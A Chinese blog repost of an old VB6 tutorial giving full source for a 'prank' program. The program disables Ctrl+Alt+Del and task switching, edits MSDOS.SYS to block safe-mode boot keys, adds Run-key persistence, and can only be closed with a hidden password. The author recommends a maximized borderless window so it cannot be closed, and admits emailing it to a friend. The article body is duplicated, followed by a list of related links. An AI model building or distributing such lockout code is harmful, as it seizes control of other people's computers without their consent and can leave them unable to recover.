VB==这个玩笑有点酷
2001-03-29 01:15
411 查看
这个玩笑有点酷
2000-10-18· 不详·yesky
此程序演示怎样在VB中调用API修改注册表,让程序每次启动都会执行,运用shell函数,操做文本文件,屏蔽系统功能,做出一个能够修改系统的程序(当然能和你的朋友开个玩笑),并且用事件key_press接收密码来关闭程序。
模块中声明:
’创建子键
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" _
(ByVal hKey As Long, ByVal lpSubKey As String, _
phkResult As Long) As Long
’创建键值
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, _
ByVal Reserved As Long, ByVal dwType As Long, _
lpData As Any, ByVal cbData As Long) As Long
’调用API阻挡功能键
Public Declare Function SystemParametersInfo Lib "user32" Alias _
"SystemParametersInfoA" (ByVal uAction As Long, _
ByVal uParam As Long, ByRef lpvParam As Any, _
ByVal fuWinIni As Long) As Long
’调用API控制shell进程
Public Declare Function GetExitCodeProcess Lib "kernel32" _
(ByVal hprocess As Long, lpExitCode As Long) As Long
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, _
ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
窗体代码如下:
通用 声明
Dim a(3) As Integer
Const spl_screensaverrunning = 97
Const process_query_information = &H400
Const still_active = &H103
Dim hprocess As Long
Dim pad As Long
Dim code As Long
Const HKEY_local_machine = &H80000002
Const regkey = "software/microsoft/windows/currentversion/run"
Const keyvalue = "run.exe"
Dim retvalue As Long
Dim keyid As Long
Private Sub Form_Load()
’API调用阻挡"ctrl+alt+del","ctrl+esc","alt+tab"热键
SystemParametersInfo spl_screensaverrunning, True, ByVal 1&, 0
’因为SHELL的异步执行,外部程序还未完成任务,VB便往下执行,
’会造成文件访问错误,调用API函 数OpenProcess和GetExitCodeProcess
’解决问题,去掉MSDOS.SYS的只读,隐蔽属性
pad = Shell("attrib -h -s -r c:/msdos.sys /s", vbHide)
hprocess = OpenProcess(process_query_information, False, pad)
Do
GetExitCodeProcess hprocess, code
DoEvents
Loop While code = still_active
’修改MSDOS.SYS,给其中添加BOOTKEYS=0,让启动时功能键F5,F8,CTRL,SHIFT失效,
’用户不能进入safemode修改
Open "c:/msdos.sys " For Append As #1
Print #1, "bootkeys=0"
Close #1
Shell "attrib +h +s +r c:/msdos.sys /s", vbHide
End Sub
’修改注册表,在"software/microsoft/windows/currentversion/run" 下创建字符串值"RUN",
’值为"RUN.EXE",让每次启动都会执行
’retvalue = RegCreateKey(HKEY_local_machine, regkey, keyid)
’retvalue = RegSetValueEx(keyid, "run", 0&, 1, ByVal keyvalue, Len(keyvalue) + 1)
’接收密码的ASC码值,密码为joke
Private Sub Form_KeyPress(KeyAscii As Integer)
a(3) = a(2)
a(2) = a(1)
a(1) = a(0)
a(0) = KeyAscii
If a(0) = 101 And a(1) = 107 And a(2) = 111 And a(3) = 106 Then
End
End If
End Sub
’在窗体退出时使三组热键生效
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
SystemParametersInfo spl_screensaverrunning, False, ByVal 1&, 0
End Sub
以上程序编译为RUN.EXE,在VB6中调试通过,你可以自行在窗体中加入文本框,并且把窗体属 性borderstyle改为0-none,windowstate改为2-maximized,就做出了一个关不掉的程序,并且每次 启动都会执行,我就是通过E-MAIL给朋友发送了这个程序,把朋友惹得非常生气,我在这里郑重的表示道歉,I’m so sorry,please forgive me,Madam you!
2000-10-18· 不详·yesky
此程序演示怎样在VB中调用API修改注册表,让程序每次启动都会执行,运用shell函数,操做文本文件,屏蔽系统功能,做出一个能够修改系统的程序(当然能和你的朋友开个玩笑),并且用事件key_press接收密码来关闭程序。
模块中声明:
’创建子键
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" _
(ByVal hKey As Long, ByVal lpSubKey As String, _
phkResult As Long) As Long
’创建键值
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, _
ByVal Reserved As Long, ByVal dwType As Long, _
lpData As Any, ByVal cbData As Long) As Long
’调用API阻挡功能键
Public Declare Function SystemParametersInfo Lib "user32" Alias _
"SystemParametersInfoA" (ByVal uAction As Long, _
ByVal uParam As Long, ByRef lpvParam As Any, _
ByVal fuWinIni As Long) As Long
’调用API控制shell进程
Public Declare Function GetExitCodeProcess Lib "kernel32" _
(ByVal hprocess As Long, lpExitCode As Long) As Long
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, _
ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
窗体代码如下:
通用 声明
Dim a(3) As Integer
Const spl_screensaverrunning = 97
Const process_query_information = &H400
Const still_active = &H103
Dim hprocess As Long
Dim pad As Long
Dim code As Long
Const HKEY_local_machine = &H80000002
Const regkey = "software/microsoft/windows/currentversion/run"
Const keyvalue = "run.exe"
Dim retvalue As Long
Dim keyid As Long
Private Sub Form_Load()
’API调用阻挡"ctrl+alt+del","ctrl+esc","alt+tab"热键
SystemParametersInfo spl_screensaverrunning, True, ByVal 1&, 0
’因为SHELL的异步执行,外部程序还未完成任务,VB便往下执行,
’会造成文件访问错误,调用API函 数OpenProcess和GetExitCodeProcess
’解决问题,去掉MSDOS.SYS的只读,隐蔽属性
pad = Shell("attrib -h -s -r c:/msdos.sys /s", vbHide)
hprocess = OpenProcess(process_query_information, False, pad)
Do
GetExitCodeProcess hprocess, code
DoEvents
Loop While code = still_active
’修改MSDOS.SYS,给其中添加BOOTKEYS=0,让启动时功能键F5,F8,CTRL,SHIFT失效,
’用户不能进入safemode修改
Open "c:/msdos.sys " For Append As #1
Print #1, "bootkeys=0"
Close #1
Shell "attrib +h +s +r c:/msdos.sys /s", vbHide
End Sub
’修改注册表,在"software/microsoft/windows/currentversion/run" 下创建字符串值"RUN",
’值为"RUN.EXE",让每次启动都会执行
’retvalue = RegCreateKey(HKEY_local_machine, regkey, keyid)
’retvalue = RegSetValueEx(keyid, "run", 0&, 1, ByVal keyvalue, Len(keyvalue) + 1)
’接收密码的ASC码值,密码为joke
Private Sub Form_KeyPress(KeyAscii As Integer)
a(3) = a(2)
a(2) = a(1)
a(1) = a(0)
a(0) = KeyAscii
If a(0) = 101 And a(1) = 107 And a(2) = 111 And a(3) = 106 Then
End
End If
End Sub
’在窗体退出时使三组热键生效
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
SystemParametersInfo spl_screensaverrunning, False, ByVal 1&, 0
End Sub
以上程序编译为RUN.EXE,在VB6中调试通过,你可以自行在窗体中加入文本框,并且把窗体属 性borderstyle改为0-none,windowstate改为2-maximized,就做出了一个关不掉的程序,并且每次 启动都会执行,我就是通过E-MAIL给朋友发送了这个程序,把朋友惹得非常生气,我在这里郑重的表示道歉,I’m so sorry,please forgive me,Madam you!
相关文章推荐
- VB==这个玩笑有点酷
- 请你评一下我这个用VB写的分页的性能怎么样,是用DATASET(a,b,c,d)这个方法得到的数据
- 中午没有得休息,就为了那个window 7系统group policy client服务未能登录,拒绝访问,看来这个系统真的有点问题
- 怀疑不如坚定,这个标题有点绕,哈哈
- 如何实现给定日期的若干天以后的日期(有点类似VB中的DateAdd)
- 学习关于时间在sql里面的对比,用if语句(这个有点特别)
- 用这个类可以替代VB自带的Timer控件
- 现在正在搞博士的东西,导师要求将一个二维的图片转换成现实生活中的三维图片,实现仿真,这个课题真有点难度,现在还莫不着头绪,查了相关的一些知识,可就是没有一个系统的,希望大家各抒己见,提一些好的建议,好的文章
- Android 如何让EditText不自动获取焦点 在项目中,一进入一个页面, EditText默认就会自动获取焦点。 那么如何取消这个默认行为呢? 在网上找了好久,有点 监听软键盘事件
- 这个5.1有点烦!
- [VB.NET]帮我看看这个问题!!!!!!!!
- 模拟赛 cf#304div2 D.Soldier and Number Game ,人生中第一次在比赛中A掉D题,好吧我承认这个D题有点水
- [VB.NET]问一个键盘的模拟问题,如何做一个画面键盘来代替微软的软键盘,有点难度呀!!!
- 年化收益17.1%!这个看基本面长线炒股的AI有点厉害
- 最近学习android,关于这个分辨率,有点烦
- 这个网站的气场有点强,我感受到了
- winfrom 委托的简易使用(看原理有点晕,搜索到了这个方法,实现了效果)
- 融资?不要!上市?不急!这个公司有点酷……
- [VB.NET]我打开网页的时候会弹出一个安全信息,然后出现:本页包含安全能容和不安全内容,是否显示不安全内容”请达人指教一下怎么删除这个提示
- 用这个类可以替代VB自带的Timer控件